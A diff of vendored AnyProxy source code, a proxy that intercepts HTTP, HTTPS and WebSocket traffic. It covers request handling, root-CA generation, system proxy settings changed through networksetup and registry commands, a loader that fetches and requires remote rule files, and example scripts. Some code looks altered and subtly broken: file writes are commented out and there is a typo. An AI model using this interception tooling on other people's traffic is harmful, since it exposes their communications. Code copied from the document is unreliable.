targetCode = 1000; // normal closure
targetReason = `Normally closed. The origin ws is closed at code: ${code} and reason: ${reason}`;
} else {
targetCode = code;
targetReason = reason;
}
return {
code: targetCode,
reason: targetReason
}
}
/**
* consruct a message Record from message event
* @param @required {event} messageEvent the event from websockt.onmessage
* @param @required {boolean} isToServer whether the message is to or from server
*
*/
const recordMessage = (messageEvent, isToServer) => {
const message = {
time: Date.now(),
message: messageEvent.data,
isToServer: isToServer
};
// resourceInfo.wsMessages.push(message);
recorder && recorder.updateRecordWsMessage(resourceInfoId, message);
};
proxyWs.onopen = () => {
consumeMsgQueue();
}
// this event is fired when the connection is build and headers is returned
proxyWs.on('upgrade', (response) => {
resourceInfo.endTime = new Date().getTime();
const headers = response.headers;
resourceInfo.res = { //construct a self-defined res object
statusCode: response.statusCode,
headers: headers,
};
resourceInfo.statusCode = response.statusCode;
resourceInfo.resHeader = headers;
resourceInfo.resBody = '';
resourceInfo.length = resourceInfo.resBody.length;
recorder && recorder.updateRecord(resourceInfoId, resourceInfo);
});
proxyWs.onerror = (e) => {
// https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent#Status_codes
wsClient.close(1001, e.message);
proxyWs.close(1001);
}
proxyWs.onmessage = (event) => {
recordMessage(event, false);
wsClient.readyState === 1 && wsClient.send(event.data);
}
proxyWs.onclose = (event) => {
logUtil.debug(`proxy ws closed with code: ${event.code} and reason: ${event.reason}`);
const targetCloseInfo = getCloseFromOriginEvent(event);
wsClient.readyState !== 3 && wsClient.close(targetCloseInfo.code, targetCloseInfo.reason);
}
wsClient.onmessage = (event) => {
recordMessage(event, true);
sendProxyMessage(event);
}
wsClient.onclose = (event) => {
logUtil.debug(`original ws closed with code: ${event.code} and reason: ${event.reason}`);
const targetCloseInfo = getCloseFromOriginEvent(event);
proxyWs.readyState !== 3 && proxyWs.close(targetCloseInfo.code, targetCloseInfo.reason);
}
} catch (e) {
logUtil.debug('WebSocket Proxy Error:' + e.message);
logUtil.debug(e.stack);
console.error(e);
}
}
class RequestHandler {
/**
* Creates an instance of RequestHandler.
*
* @param {object} config
* @param {boolean} config.forceProxyHttps proxy all https requests
* @param {boolean} config.dangerouslyIgnoreUnauthorized
@param {number} config.httpServerPort the http port AnyProxy do the proxy
* @param {object} rule
* @param {Recorder} recorder
*
* @memberOf RequestHandler
*/
constructor(config, rule, recorder) {
const reqHandlerCtx = this;
this.forceProxyHttps = false;
this.dangerouslyIgnoreUnauthorized = false;
this.httpServerPort = '';
this.wsIntercept = false;
if (config.forceProxyHttps) {
this.forceProxyHttps = true;
}
if (config.dangerouslyIgnoreUnauthorized) {
this.dangerouslyIgnoreUnauthorized = true;
}
if (config.wsIntercept) {
this.wsIntercept = config.wsIntercept;
}
this.httpServerPort = config.httpServerPort;
const default_rule = util.freshRequire('./rule_default');
const userRule = util.merge(default_rule, rule);
reqHandlerCtx.userRequestHandler = getUserReqHandler.apply(reqHandlerCtx, [userRule, recorder]);
reqHandlerCtx.wsHandler = getWsHandler.bind(this, userRule, recorder);
reqHandlerCtx.httpsServerMgr = new HttpsServerMgr({
handler: reqHandlerCtx.userRequestHandler,
wsHandler: reqHandlerCtx.wsHandler // websocket
});
this.connectReqHandler = getConnectReqHandler.apply(reqHandlerCtx, [userRule, recorder, reqHandlerCtx.httpsServerMgr]);
}
}
module.exports = RequestHandler;
+74
View File
@@ -0,0 +1,74 @@
'use strict';
const proxyUtil = require('./util');
const path = require('path');
const fs = require('fs');
const request = require('request');
const cachePath = proxyUtil.getAnyProxyPath('cache');
/**
* download a file and cache
*
* @param {any} url
* @returns {string} cachePath
*/
function cacheRemoteFile(url) {
return new Promise((resolve, reject) => {
request(url, (error, response, body) => {
if (error) {
return reject(error);
} else if (response.statusCode !== 200) {
return reject(`failed to load with a status code ${response.statusCode}`);
} else {
const fileCreatedTime = proxyUtil.formatDate(new Date(), 'YYYY_MM_DD_hh_mm_ss');
const random = Math.ceil(Math.random() * 500);
const fileName = `remote_rule_${fileCreatedTime}_r${random}.js`;
const filePath = path.join(cachePath, fileName);
//fs.writeFileSync(filePath, body);
resolve(filePath);
}
});
});
}
/**
* load a local npm module
*
* @param {any} filePath
* @returns module
*/
function loadLocalPath(filePath) {
return new Promise((resolve, reject) => {
const ruleFilePath = path.resolve(process.cwd(), filePath);
if (fs.existsSync(ruleFilePath)) {
resolve(require(ruleFilePath));
} else {
resolve(require(filePath));
}
});
}
/**
* load a module from url or local path
*
* @param {any} urlOrPath
* @returns module
*/
function requireModule(urlOrPath) {
return new Promise((resolve, reject) => {
if (/^http/i.test(urlOrPath)) {
resolve(cacheRemoteFile(urlOrPath));
} else {
resolve(urlOrPath);
}
}).then(localPath => loadLocalPath(localPath));
}
module.exports = {
cacheRemoteFile,
loadLocalPath,
requireModule,
};
+81
View File
@@ -0,0 +1,81 @@
'use strict';
module.exports = {
summary: 'the default rule for AnyProxy',
/**
*
*
* @param {object} requestDetail
* @param {string} requestDetail.protocol
* @param {object} requestDetail.requestOptions
* @param {object} requestDetail.requestData
* @param {object} requestDetail.response
* @param {number} requestDetail.response.statusCode
* @param {object} requestDetail.response.header
* @param {buffer} requestDetail.response.body
* @returns
*/
*beforeSendRequest(requestDetail) {
return null;
},
/**
*
*
* @param {object} requestDetail
* @param {object} responseDetail
*/
*beforeSendResponse(requestDetail, responseDetail) {
return null;
},
/**
* default to return null
* the user MUST return a boolean when they do implement the interface in rule
*
* @param {any} requestDetail
* @returns
*/
*beforeDealHttpsRequest(requestDetail) {
return null;
},
/**
*
*
* @param {any} requestDetail
* @param {any} error
* @returns
*/
*onError(requestDetail, error) {
return null;
},
/**
*
*
* @param {any} requestDetail
* @param {any} error
* @returns
*/
*onConnectError(requestDetail, error) {
return null;
},
/**
*
*
* @param {any} requestDetail
* @param {any} error
* @returns
*/
*onClientSocketError(requestDetail, error) {
return null;
},
};
+152
View File
@@ -0,0 +1,152 @@
'use strict'
const child_process = require('child_process');
const networkTypes = ['Ethernet', 'Thunderbolt Ethernet', 'Wi-Fi'];
function execSync(cmd) {
let stdout,
status = 0;
try {
stdout = child_process.execSync(cmd);
} catch (err) {
stdout = err.stdout;
status = err.status;
}
return {
stdout: stdout.toString(),
status
};
}
/**
* proxy for CentOs
* ------------------------------------------------------------------------
*
* file: ~/.bash_profile
*
* http_proxy=http://proxy_server_address:port
* export no_proxy=localhost,127.0.0.1,192.168.0.34
* export http_proxy
* ------------------------------------------------------------------------
*/
/**
* proxy for Ubuntu
* ------------------------------------------------------------------------
*
* file: /etc/environment
* more info: http://askubuntu.com/questions/150210/how-do-i-set-systemwide-proxy-servers-in-xubuntu-lubuntu-or-ubuntu-studio
*
* http_proxy=http://proxy_server_address:port
* export no_proxy=localhost,127.0.0.1,192.168.0.34
* export http_proxy
* ------------------------------------------------------------------------
*/
/**
* ------------------------------------------------------------------------
* mac proxy manager
* ------------------------------------------------------------------------
*/
const macProxyManager = {};
macProxyManager.getNetworkType = () => {
for (let i = 0; i < networkTypes.length; i++) {
const type = networkTypes[i],
result = execSync('networksetup -getwebproxy ' + type);
if (result.status === 0) {
macProxyManager.networkType = type;
return type;
}
}
throw new Error('Unknown network type');
};
macProxyManager.enableGlobalProxy = (ip, port, proxyType) => {
if (!ip || !port) {
console.log('failed to set global proxy server.\n ip and port are required.');
return;
}
proxyType = proxyType || 'http';
const networkType = macProxyManager.networkType || macProxyManager.getNetworkType();
return /^http$/i.test(proxyType) ?
// set http proxy
execSync(
'networksetup -setwebproxy ${networkType} ${ip} ${port} && networksetup -setproxybypassdomains ${networkType} 127.0.0.1 localhost'
.replace(/\${networkType}/g, networkType)
.replace('${ip}', ip)
.replace('${port}', port)) :
// set https proxy
execSync('networksetup -setsecurewebproxy ${networkType} ${ip} ${port} && networksetup -setproxybypassdomains ${networkType} 127.0.0.1 localhost'
.replace(/\${networkType}/g, networkType)
.replace('${ip}', ip)
.replace('${port}', port));
};
macProxyManager.disableGlobalProxy = (proxyType) => {
proxyType = proxyType || 'http';
const networkType = macProxyManager.networkType || macProxyManager.getNetworkType();
return /^http$/i.test(proxyType) ?
// set http proxy
execSync(
'networksetup -setwebproxystate ${networkType} off'
.replace('${networkType}', networkType)) :
// set https proxy
execSync(
'networksetup -setsecurewebproxystate ${networkType} off'
.replace('${networkType}', networkType));
};
macProxyManager.getProxyState = () => {
const networkType = macProxyManager.networkType || macProxyManager.getNetworkType();
const result = execSync('networksetup -getwebproxy ${networkType}'.replace('${networkType}', networkType));
return result;
};
/**
* ------------------------------------------------------------------------
* windows proxy manager
*
* netsh does not alter the settings for IE
* ------------------------------------------------------------------------
*/
const winProxyManager = {};
winProxyManager.enableGlobalProxy = (ip, port) => {
if (!ip && !port) {
console.log('failed to set global proxy server.\n ip and port are required.');
return;
}
return execSync(
// set proxy
'reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer /t REG_SZ /d ${ip}:${port} /f & '
.replace('${ip}', ip)
.replace('${port}', port) +
// enable proxy
'reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f');
};
winProxyManager.disableGlobalProxy = () => execSync('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f');
winProxyManager.getProxyState = () => ''
winProxyManager.getNetworkType = () => ''
module.exports = /^win/.test(process.platform) ? winProxyManager : macProxyManager;
+328
View File
@@ -0,0 +1,328 @@
'use strict';
const fs = require('fs'),
path = require('path'),
mime = require('mime-types'),
color = require('colorful'),
child_process = require('child_process'),
Buffer = require('buffer').Buffer,
logUtil = require('./log');
const networkInterfaces = require('os').networkInterfaces();
// {"Content-Encoding":"gzip"} --> {"content-encoding":"gzip"}
module.exports.lower_keys = (obj) => {
for (const key in obj) {
const val = obj[key];
delete obj[key];
obj[key.toLowerCase()] = val;
}
return obj;
};
module.exports.merge = function (baseObj, extendObj) {
for (const key in extendObj) {
baseObj[key] = extendObj[key];
}
return baseObj;
};
function getUserHome() {
return process.env.HOME || process.env.USERPROFILE;
}
module.exports.getUserHome = getUserHome;
function getAnyProxyHome() {
const home = path.join(getUserHome(), '/.anyproxy/');
if (!fs.existsSync(home)) {
fs.mkdirSync(home);
}
return home;
}
module.exports.getAnyProxyHome = getAnyProxyHome;
module.exports.getAnyProxyPath = function (pathName) {
const home = getAnyProxyHome();
const targetPath = path.join(home, pathName);
if (!fs.existsSync(targetPath)) {
//fs.mkdirSync(targetPath);
}
return targetPath;
}
module.exports.simpleRender = function (str, object, regexp) {
return String(str).replace(regexp || (/\{\{([^{}]+)\}\}/g), (match, name) => {
if (match.charAt(0) === '\\') {
return match.slice(1);
}
return (object[name] != null) ? object[name] : '';
});
};
module.exports.filewalker = function (root, cb) {
root = root || process.cwd();
const ret = {
directory: [],
file: []
};
fs.readdir(root, (err, list) => {
if (list && list.length) {
list.map((item) => {
const fullPath = path.join(root, item),
stat = fs.lstatSync(fullPath);
if (stat.isFile()) {
ret.file.push({
name: item,
fullPath
});
} else if (stat.isDirectory()) {
ret.directory.push({
name: item,
fullPath
});
}
});
}
cb && cb.apply(null, [null, ret]);
});
};
/*
* 获取文件所对应的content-type以及content-length等信息
* 比如在useLocalResponse的时候会使用到
*/
module.exports.contentType = function (filepath) {
return mime.contentType(path.extname(filepath));
};
/*
* 读取file的大小,以byte为单位
*/
module.exports.contentLength = function (filepath) {
try {
const stat = fs.statSync(filepath);
return stat.size;
} catch (e) {
logUtil.printLog(color.red('\nfailed to ready local file : ' + filepath));
logUtil.printLog(color.red(e));
return 0;
}
};
/*
* remove the cache before requiring, the path SHOULD BE RELATIVE TO UTIL.JS
*/
module.exports.freshRequire = function (modulePath) {
delete require.cache[require.resolve(modulePath)];
return require(modulePath);
};
/*
* format the date string
* @param date Date or timestamp
* @param formatter YYYYMMDDHHmmss
*/
module.exports.formatDate = function (date, formatter) {
if (typeof date !== 'object') {
date = new Date(date);
}
const transform = function (value) {
return value < 10 ? '0' + value : value;
};
return formatter.replace(/^YYYY|MM|DD|hh|mm|ss/g, (match) => {
switch (match) {
case 'YYYY':
return transform(date.getFullYear());
case 'MM':
return transform(date.getMonth() + 1);
case 'mm':
return transform(date.getMinutes());
case 'DD':
return transform(date.getDate());
case 'hh':
return transform(date.getHours());
case 'ss':
return transform(date.getSeconds());
default:
return ''
}
});
};
/**
* get headers(Object) from rawHeaders(Array)
* @param rawHeaders [key, value, key2, value2, ...]
*/
module.exports.getHeaderFromRawHeaders = function (rawHeaders) {
const headerObj = {};
const _handleSetCookieHeader = function (key, value) {
if (headerObj[key].constructor === Array) {
headerObj[key].push(value);
} else {
headerObj[key] = [headerObj[key], value];
}
};
if (!!rawHeaders) {
for (let i = 0; i < rawHeaders.length; i += 2) {
const key = rawHeaders[i];
let value = rawHeaders[i + 1];
if (typeof value === 'string') {
value = value.replace(/\0+$/g, ''); // 去除 \u0000的null字符串
}
if (!headerObj[key]) {
headerObj[key] = value;
} else {
// headers with same fields could be combined with comma. Ref: https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2
// set-cookie should NOT be combined. Ref: https://tools.ietf.org/html/rfc6265
if (key.toLowerCase() === 'set-cookie') {
_handleSetCookieHeader(key, value);
} else {
headerObj[key] = headerObj[key] + ',' + value;
}
}
}
}
return headerObj;
};
module.exports.getAllIpAddress = function getAllIpAddress() {
const allIp = [];
Object.keys(networkInterfaces).map((nic) => {
networkInterfaces[nic].filter((detail) => {
if (detail.family.toLowerCase() === 'ipv4') {
allIp.push(detail.address);
}
});
});
return allIp.length ? allIp : ['127.0.0.1'];
};
function deleteFolderContentsRecursive(dirPath, ifClearFolderItself) {
if (!dirPath.trim() || dirPath === '/') {
throw new Error('can_not_delete_this_dir');
}
if (fs.existsSync(dirPath)) {
fs.readdirSync(dirPath).forEach((file) => {
const curPath = path.join(dirPath, file);
if (fs.lstatSync(curPath).isDirectory()) {
deleteFolderContentsRecursive(curPath, true);
} else { // delete all files
fs.unlinkSync(curPath);
}
});
if (ifClearFolderItself) {
try {
// ref: https://github.com/shelljs/shelljs/issues/49
const start = Date.now();
while (true) {
try {
fs.rmdirSync(dirPath);
break;
} catch (er) {
if (process.platform === 'win32' && (er.code === 'ENOTEMPTY' || er.code === 'EBUSY' || er.code === 'EPERM')) {
// Retry on windows, sometimes it takes a little time before all the files in the directory are gone
if (Date.now() - start > 1000) throw er;
} else if (er.code === 'ENOENT') {
break;
} else {
throw er;
}
}
}
} catch (e) {
throw new Error('could not remove directory (code ' + e.code + '): ' + dirPath);
}
}
}
}
module.exports.deleteFolderContentsRecursive = deleteFolderContentsRecursive;
module.exports.getFreePort = function () {
return new Promise((resolve, reject) => {
const server = require('net').createServer();
server.unref();
server.on('error', reject);
server.listen(0, () => {
const port = server.address().port;
server.close(() => {
resolve(port);
});
});
});
}
module.exports.collectErrorLog = function (error) {
if (error && error.code && error.toString()) {
return error.toString();
} else {
let result = [error, error.stack].join('\n');
try {
const errorString = error.toString();
if (errorString.indexOf('You may only yield a function') >= 0) {
result = 'Function is not yieldable. Did you forget to provide a generator or promise in rule file ? \nFAQ http://anyproxy.io/4.x/#faq';
}
} catch (e) {}
return result
}
}
module.exports.isFunc = function (source) {
return source && Object.tostring.call(source) === '[object Function]';
};
/**
* @param {object} content
* @returns the size of the content
*/
module.exports.getByteSize = function (content) {
return Buffer.byteLength(content);
};
/*
* identify whether the
*/
module.exports.isIpDomain = function (domain) {
if (!domain) {
return false;
}
const ipReg = /^\d+?\.\d+?\.\d+?\.\d+?$/;
return ipReg.test(domain);
};
module.exports.execScriptSync = function (cmd) {
let stdout,
status = 0;
try {
stdout = child_process.execSync(cmd);
} catch (err) {
stdout = err.stdout;
status = err.status;
}
return {
stdout: stdout.toString(),
status
};
};
module.exports.guideToHomePage = function () {
logUtil.info('Refer to http://anyproxy.io for more detail');
};
+322
View File
@@ -0,0 +1,322 @@
'use strict';
const express = require('express'),
url = require('url'),
bodyParser = require('body-parser'),
fs = require('fs'),
path = require('path'),
events = require('events'),
qrCode = require('qrcode-npm'),
util = require('./util'),
certMgr = require('./certMgr'),
wsServer = require('./wsServer'),
juicer = require('juicer'),
ip = require('ip'),
compress = require('compression'),
pug = require('pug');
const DEFAULT_WEB_PORT = 8002; // port for web interface
const packageJson = require('../package.json');
const MAX_CONTENT_SIZE = 1024 * 2000; // 2000kb
const certFileTypes = ['crt', 'cer', 'pem', 'der'];
/**
*
*
* @class webInterface
* @extends {events.EventEmitter}
*/
class webInterface extends events.EventEmitter {
/**
* Creates an instance of webInterface.
*
* @param {object} config
* @param {number} config.webPort
* @param {object} recorder
*
* @memberOf webInterface
*/
constructor(config, recorder) {
if (!recorder) {
throw new Error('recorder is required for web interface');
}
super();
const self = this;
self.webPort = config.webPort || DEFAULT_WEB_PORT;
self.recorder = recorder;
self.config = config || {};
self.app = this.getServer();
self.server = null;
self.wsServer = null;
}
/**
* get the express server
*/
getServer() {
const self = this;
const recorder = self.recorder;
const ipAddress = ip.address(),
// userRule = proxyInstance.proxyRule,
webBasePath = 'web';
let ruleSummary = '';
let customMenu = [];
try {
ruleSummary = ''; //userRule.summary();
customMenu = ''; // userRule._getCustomMenu();
} catch (e) { }
const staticDir = path.join(__dirname, '../', webBasePath);
const app = express();
app.use(compress()); //invoke gzip
app.use((req, res, next) => {
res.setHeader('note', 'THIS IS A REQUEST FROM ANYPROXY WEB INTERFACE');
return next();
});
app.use(bodyParser.json());
app.get('/latestLog', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
recorder.getRecords(null, 10000, (err, docs) => {
if (err) {
res.end(err.toString());
} else {
res.json(docs);
}
});
});
app.get('/downloadBody', (req, res) => {
const query = req.query;
recorder.getDecodedBody(query.id, (err, result) => {
if (err || !result || !result.content) {
res.json({});
} else if (result.mime) {
if (query.raw === 'true') {
//TODO : cache query result
res.type(result.mime).end(result.content);
} else if (query.download === 'true') {
res.setHeader('Content-disposition', `attachment; filename=${result.fileName}`);
res.setHeader('Content-type', result.mime);
res.end(result.content);
}
} else {
res.json({
});
}
});
});
app.get('/fetchBody', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
const query = req.query;
if (query && query.id) {
recorder.getDecodedBody(query.id, (err, result) => {
// 返回下载信息
const _resDownload = function (isDownload) {
isDownload = typeof isDownload === 'boolean' ? isDownload : true;
res.json({
id: query.id,
type: result.type,
method: result.meethod,
fileName: result.fileName,
ref: `/downloadBody?id=${query.id}&download=${isDownload}&raw=${!isDownload}`
});
};
// 返回内容
const _resContent = () => {
if (util.getByteSize(result.content || '') > MAX_CONTENT_SIZE) {
_resDownload(true);
return;
}
res.json({
id: query.id,
type: result.type,
method: result.method,
resBody: result.content
});
};
if (err || !result) {
res.json({});
} else if (result.statusCode === 200 && result.mime) {
// deal with 'application/x-javascript' and 'application/javascript'
if (/json|text|javascript/.test(result.mime)) {
_resContent();
} else if (result.type === 'image') {
_resDownload(false);
} else {
_resDownload(true);
}
} else {
_resContent();
}
});
} else {
res.end('');
}
});
app.get('/fetchReqBody', (req, res) => {
const query = req.query;
if (query && query.id) {
recorder.getSingleRecord(query.id, (err, doc) => {
if (err || !doc[0]) {
console.error(err);
res.end('');
return;
}
res.setHeader('Content-disposition', `attachment; filename=request_${query.id}_body.txt`);
res.setHeader('Content-type', 'text/plain');
res.end(doc[0].reqBody);
});
} else {
res.end('');
}
});
app.get('/fetchWsMessages', (req, res) => {
const query = req.query;
if (query && query.id) {
recorder.getDecodedWsMessage(query.id, (err, messages) => {
if (err) {
console.error(err);
res.json([]);
return;
}
res.json(messages);
});
} else {
res.json([]);
}
});
app.get('/downloadCrt', (req, res) => {
const pageFn = pug.compileFile(path.join(__dirname, '../resource/cert_download.pug'));
res.end(pageFn({ ua: req.get('user-agent') }));
});
app.get('/fetchCrtFile', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
const _crtFilePath = certMgr.getRootCAFilePath();
if (_crtFilePath) {
const fileType = certFileTypes.indexOf(req.query.type) !== -1 ? req.query.type : 'crt';
res.setHeader('Content-Type', 'application/x-x509-ca-cert');
res.setHeader('Content-Disposition', `attachment; filename="rootCA.${fileType}"`);
res.end(fs.readFileSync(_crtFilePath, { encoding: null }));
} else {
res.setHeader('Content-Type', 'text/html');
res.end('can not file rootCA ,plase use <strong>anyproxy --root</strong> to generate one');
}
});
app.get('/api/getQrCode', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
const qr = qrCode.qrcode(4, 'M');
const targetUrl = req.protocol + '://' + req.get('host') + '/downloadCrt';
const isRootCAFileExists = certMgr.isRootCAFileExists();
qr.addData(targetUrl);
qr.make();
res.json({
status: 'success',
url: targetUrl,
isRootCAFileExists,
qrImgDom: qr.createImgTag(4)
});
});
// response init data
app.get('/api/getInitData', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
const rootCAExists = certMgr.isRootCAFileExists();
const rootDirPath = certMgr.getRootDirPath();
const interceptFlag = false; //proxyInstance.getInterceptFlag(); TODO
const globalProxyFlag = false; // TODO: proxyInstance.getGlobalProxyFlag();
res.json({
status: 'success',
rootCAExists,
rootCADirPath: rootDirPath,
currentInterceptFlag: interceptFlag,
currentGlobalProxyFlag: globalProxyFlag,
ruleSummary: ruleSummary || '',
ipAddress: util.getAllIpAddress(),
port: '', //proxyInstance.proxyPort, // TODO
appVersion: packageJson.version
});
});
app.post('/api/generateRootCA', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
const rootExists = certMgr.isRootCAFileExists();
if (!rootExists) {
certMgr.generateRootCA(() => {
res.json({
status: 'success',
code: 'done'
});
});
} else {
res.json({
status: 'success',
code: 'root_ca_exists'
});
}
});
app.use((req, res, next) => {
const indexTpl = fs.readFileSync(path.join(staticDir, '/index.html'), { encoding: 'utf8' }),
opt = {
rule: ruleSummary || '',
customMenu: customMenu || [],
ipAddress: ipAddress || '127.0.0.1'
};
if (url.parse(req.url).pathname === '/') {
res.setHeader('Content-Type', 'text/html');
res.end(juicer(indexTpl, opt));
} else {
next();
}
});
app.use(express.static(staticDir));
return app;
}
start() {
const self = this;
return new Promise((resolve, reject) => {
self.server = self.app.listen(self.webPort);
self.wsServer = new wsServer({
server: self.server
}, self.recorder);
self.wsServer.start();
resolve();
})
}
close() {
const self = this;
return new Promise((resolve, reject) => {
self.server && self.server.close();
self.wsServer && self.wsServer.closeAll();
self.server = null;
self.wsServer = null;
self.proxyInstance = null;
resolve();
});
}
}
module.exports = webInterface;
+176
View File
@@ -0,0 +1,176 @@
'use strict';
//websocket server manager
const WebSocketServer = require('ws').Server;
const logUtil = require('./log');
function resToMsg(msg, recorder, cb) {
let result = {},
jsonData;
try {
jsonData = JSON.parse(msg);
} catch (e) {
result = {
type: 'error',
error: 'failed to parse your request : ' + e.toString()
};
cb && cb(result);
return;
}
if (jsonData.reqRef) {
result.reqRef = jsonData.reqRef;
}
if (jsonData.type === 'reqBody' && jsonData.id) {
result.type = 'body';
recorder.getBody(jsonData.id, (err, data) => {
if (err) {
result.content = {
id: null,
body: null,
error: err.toString()
};
} else {
result.content = {
id: jsonData.id,
body: data.toString()
};
}
cb && cb(result);
});
} else { // more req handler here
return null;
}
}
//config.server
class wsServer {
constructor(config, recorder) {
if (!recorder) {
throw new Error('proxy recorder is required');
} else if (!config || !config.server) {
throw new Error('config.server is required');
}
const self = this;
self.config = config;
self.recorder = recorder;
}
start() {
const self = this;
const config = self.config;
const recorder = self.recorder;
return new Promise((resolve, reject) => {
//web socket interface
const wss = new WebSocketServer({
server: config.server,
clientTracking: true,
});
resolve();
// the queue of the messages to be delivered
let messageQueue = [];
// the flat to indicate wheter to broadcast the record
let broadcastFlag = true;
setInterval(() => {
broadcastFlag = true;
sendMultipleMessage();
}, 50);
function sendMultipleMessage(data) {
// if the flag goes to be true, and there are records to send
if (broadcastFlag && messageQueue.length > 0) {
wss && wss.broadcast({
type: 'updateMultiple',
content: messageQueue
});
messageQueue = [];
broadcastFlag = false;
} else {
data && messageQueue.push(data);
}
}
wss.broadcast = function (data) {
if (typeof data === 'object') {
try {
data = JSON.stringify(data);
} catch (e) {
console.error('==> error when do broadcast ', e, data);
}
}
for (const client of wss.clients) {
try {
client.send(data);
} catch (e) {
logUtil.printLog('websocket failed to send data, ' + e, logUtil.T_ERR);
}
}
};
wss.on('connection', (ws) => {
ws.on('message', (msg) => {
resToMsg(msg, recorder, (res) => {
res && ws.send(JSON.stringify(res));
});
});
ws.on('error', (e) => {
console.error('error in ws:', e);
});
});
wss.on('error', (e) => {
logUtil.printLog('websocket error, ' + e, logUtil.T_ERR);
});
wss.on('close', () => { });
recorder.on('update', (data) => {
try {
sendMultipleMessage(data);
} catch (e) {
console.log('ws error');
console.log(e);
}
});
recorder.on('updateLatestWsMsg', (data) => {
try {
// console.info('==> update latestMsg ', data);
wss && wss.broadcast({
type: 'updateLatestWsMsg',
content: data
});
} catch (e) {
logUtil.error(e.message);
logUtil.error(e.stack);
console.error(e);
}
});
self.wss = wss;
});
}
closeAll() {
const self = this;
return new Promise((resolve, reject) => {
self.wss.close((e) => {
if (e) {
reject(e);
} else {
resolve();
}
});
});
}
}
module.exports = wsServer;
+39
View File
@@ -0,0 +1,39 @@
/**
* manage the websocket server
*
*/
const ws = require('ws');
const logUtil = require('./log.js');
const WsServer = ws.Server;
/**
* get a new websocket server based on the server
* @param @required {object} config
{string} config.server
{handler} config.handler
*/
function getWsServer(config) {
const wss = new WsServer({
server: config.server
});
wss.on('connection', config.connHandler);
wss.on('headers', (headers) => {
headers.push('x-anyproxy-websocket:true');
});
wss.on('error', e => {
logUtil.error(`error in websocket proxy: ${e.message},\r\n ${e.stack}`);
console.error('error happened in proxy websocket:', e)
});
wss.on('close', e => {
console.error('==> closing the ws server');
});
return wss;
}
module.exports.getWsServer = getWsServer;
+47
View File
@@ -0,0 +1,47 @@
const AnyProxy = require('../proxy');
const exec = require('child_process').exec;
const AnyProxyRecorder = require('../lib/recorder');
const WebInterfaceLite = require('../lib/webInterface');
/*
-------------------------------
| ProxyServerA | ProxyServerB |
------------------------------- ----------------------------
| Common Recorder | -------(by events)------| WebInterfaceLite |
------------------------------- ----------------------------
*/
const commonRecorder = new AnyProxyRecorder();
// web interface依赖recorder
new WebInterfaceLite({ // common web interface
webPort: 8002
}, commonRecorder);
// proxy core只依赖recorder,与webServer无关
const optionsA = {
port: 8001,
recorder: commonRecorder, // use common recorder
};
const optionsB = {
port: 8005,
recorder: commonRecorder, // use common recorder
};
const proxyServerA = new AnyProxy.ProxyCore(optionsA);
const proxyServerB = new AnyProxy.ProxyCore(optionsB);
proxyServerA.start();
proxyServerB.start();
// after both ready
setTimeout(() => {
exec('curl http://www.qq.com --proxy http://127.0.0.1:8001');
exec('curl http://www.sina.com.cn --proxy http://127.0.0.1:8005');
}, 1000);
// visit http://127.0.0.1 , there should be two records
+23
View File
@@ -0,0 +1,23 @@
const AnyProxy = require('../proxy');
const exec = require('child_process').exec;
if (!AnyProxy.utils.certMgr.ifRootCAFileExists()) {
AnyProxy.utils.certMgr.generateRootCA((error, keyPath) => {
// let users to trust this CA before using proxy
if (!error) {
const certDir = require('path').dirname(keyPath);
console.log('The cert is generated at', certDir);
const isWin = /^win/.test(process.platform);
if (isWin) {
exec('start .', { cwd: certDir });
} else {
exec('open .', { cwd: certDir });
}
} else {
console.error('error when generating rootCA', error);
}
});
} else {
// clear all the certificates
// AnyProxy.utils.certMgr.clearCerts()
}
+69
View File
@@ -0,0 +1,69 @@
const AnyProxy = require('../proxy');
const options = {
type: 'http',
port: 8001,
rule: null,
webInterface: {
enable: true,
webPort: 8002
},
throttle: 10000,
forceProxyHttps: true,
silent: false
};
const proxyServer = new AnyProxy.ProxyServer(options);
proxyServer.on('ready', () => {
console.log('ready');
// set as system proxy
proxyServer.close().then(() => {
const proxyServerB = new AnyProxy.ProxyServer(options);
proxyServerB.start();
});
console.log('closed');
// setTimeout(() => {
// }, 2000);
// AnyProxy.utils.systemProxyMgr.enableGlobalProxy('127.0.0.1', '8001');
});
proxyServer.on('error', (e) => {
console.log('proxy error');
console.log(e);
});
process.on('SIGINT', () => {
// AnyProxy.utils.systemProxyMgr.disableGlobalProxy();
proxyServer.close();
process.exit();
});
proxyServer.start();
// const WebSocketServer = require('ws').Server;
// const wsServer = new WebSocketServer({ port: 8003 },function(){
// console.log('ready');
// try {
// const serverB = new WebSocketServer({ port: 8003 }, function (e, result) {
// console.log('---in B---');
// console.log(e);
// console.log(result);
// });
// } catch(e) {
// console.log(e);
// console.log('e');
// }
// // wsServer.close(function (e, result) {
// // console.log('in close');
// // console.log(e);
// // console.log(result);
// // });
// });
+10
View File
@@ -0,0 +1,10 @@
const AnyProxy = require('../proxy');
const options = {
port: 8001,
webInterface: {
enable: true
}
};
const proxyServer = new AnyProxy.ProxyServer(options);
proxyServer.start();
+147
View File
@@ -0,0 +1,147 @@
{
"_from": "anyproxy",
"_id": "anyproxy@4.1.2",
"_inBundle": false,
"_integrity": "sha512-vve6s6aP93+n8QtjAVOtMpr92etTUzVtMuNI8VIxPoNhsu+DQBZ3HYOmuSYActQtJJnKWzArs+ZhLL1SSi/bpw==",
"_location": "/anyproxy",
"_phantomChildren": {},
"_requested": {
"type": "tag",
"registry": true,
"raw": "anyproxy",
"name": "anyproxy",
"escapedName": "anyproxy",
"rawSpec": "",
"saveSpec": null,
"fetchSpec": "latest"
},
"_requiredBy": [
"#USER",
"/"
],
"_resolved": "https://registry.npmjs.org/anyproxy/-/anyproxy-4.1.2.tgz",
"_shasum": "d01611b88453f9e6c349e9b99c36099b981c3e70",
"_spec": "anyproxy",
"_where": "/Users/mandatory/Programming/croxy",
"author": {
